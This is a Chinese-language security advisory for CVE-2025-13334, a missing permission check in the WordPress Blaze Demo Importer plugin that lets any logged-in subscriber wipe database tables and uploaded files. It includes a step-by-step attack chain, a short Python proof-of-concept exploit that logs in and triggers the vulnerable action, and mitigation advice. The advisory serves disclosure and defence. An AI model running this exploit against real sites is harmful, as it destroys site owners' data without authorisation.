IPBUF安全漏洞报告
English
CVE-2025-13334 CVSS 8.1 高危

CVE-2025-13334 WordPress Blaze Demo Importer插件未授权数据库重置与文件删除漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2025-13334
漏洞类型
未授权访问/权限绕过
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Blaze Demo Importer WordPress Plugin

相关标签

CVE-2025-13334WordPress插件漏洞未授权访问权限绕过数据库截断文件删除Blaze Demo Importer高危漏洞Broken Access ControlWordPress安全

漏洞概述

CVE-2025-13334是WordPress的Blaze Demo Importer插件中的一个严重安全漏洞。该插件在1.0.13及之前的所有版本中,由于缺少对blaze_demo_importer_install_demo函数的权限检查,导致任何已认证用户(即使是最低权限的订阅者角色)都可以调用该函数执行危险的数据库和文件系统操作。攻击者可以利用此漏洞截断数据库中的所有表(除了options、usermeta和users表),删除所有侧边栏小部件、主题修改内容以及uploads文件夹中的所有文件。此漏洞的CVSS评分为8.1,属于高危级别,对WordPress网站的完整性和可用性造成严重影响。漏洞由Wordfence安全团队发现并报告。

技术细节

该漏洞的根本原因在于blaze_demo_importer_install_demo函数缺少WordPress的capability检查。正常情况下,WordPress插件的敏感操作应该使用current_user_can()函数验证当前用户是否具有相应权限。然而,该插件直接执行数据库重置和文件删除操作,而没有进行任何权限验证。具体来说,该函数会执行以下操作:1) 使用TRUNCATE TABLE语句清空数据库表;2) 删除wp_options中的侧边栏widget配置;3) 清除主题自定义设置;4) 递归删除uploads目录下的所有文件。由于WordPress的订阅者角色(subsscriber)默认只需要登录即可获得,因此任何具有有效账户的攻击者都可以利用此漏洞。攻击者只需构造一个对admin-post.php或admin-ajax.php的请求,携带相应的action参数即可触发漏洞利用。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标网站使用的WordPress版本,并检查是否安装了Blaze Demo Importer插件且版本<=1.0.13
STEP 2
2. 获取有效账户
攻击者获取目标WordPress站点的有效用户账户(订阅者角色或更高权限),可通过注册功能、社会工程学或其他方式获取
STEP 3
3. 认证登录
使用获取的凭据通过wp-login.php登录WordPress,获取有效的认证session和cookie
STEP 4
4. 构造恶意请求
构造包含action=blaze_demo_importer_install_demo参数的POST请求,发送到admin-ajax.php或admin-post.php
STEP 5
5. 执行数据库截断
服务器端函数被调用,执行TRUNCATE TABLE语句清空数据库表(除了options、usermeta、users表),导致文章、页面、评论等数据丢失
STEP 6
6. 执行文件删除
函数递归删除uploads文件夹中的所有上传文件,以及清除侧边栏widget和主题自定义设置
STEP 7
7. 破坏完成
攻击成功,网站数据遭到严重破坏,需要从备份恢复

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-13334 PoC - Blaze Demo Importer Unauthorized Database Reset # Target: WordPress site with Blaze Demo Importer plugin <= 1.0.13 target_url = "http://target-wordpress-site.com" # Authentication credentials (subscriber level or higher) username = "attacker" password = "password123" # Create session session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # Step 2: Trigger the vulnerable function via admin-ajax.php ajax_url = f"{target_url}/wp-admin/admin-ajax.php" data = { "action": "blaze_demo_importer_install_demo" } # Step 3: Send exploit request response = session.post(ajax_url, data=data) # Step 4: Alternative via admin-post.php post_url = f"{target_url}/wp-admin/admin-post.php" post_data = { "action": "blaze_demo_importer_install_demo" } response = session.post(post_url, data=post_data) print(f"Response Status: {response.status_code}") print(f"Response: {response.text}") # This will truncate all database tables (except wp_options, wp_usermeta, wp_users) # and delete all sidebar widgets, theme modifications, and uploads folder content

影响范围

Blaze Demo Importer Plugin <= 1.0.13

防御指南

临时缓解措施
临时缓解措施:1) 立即删除或禁用Blaze Demo Importer插件;2) 审查所有用户账户,移除可疑账户;3) 检查数据库日志确认是否已被利用;4) 从可信备份恢复网站数据;5) 启用双因素认证增强账户安全;6) 临时限制非管理员用户的访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表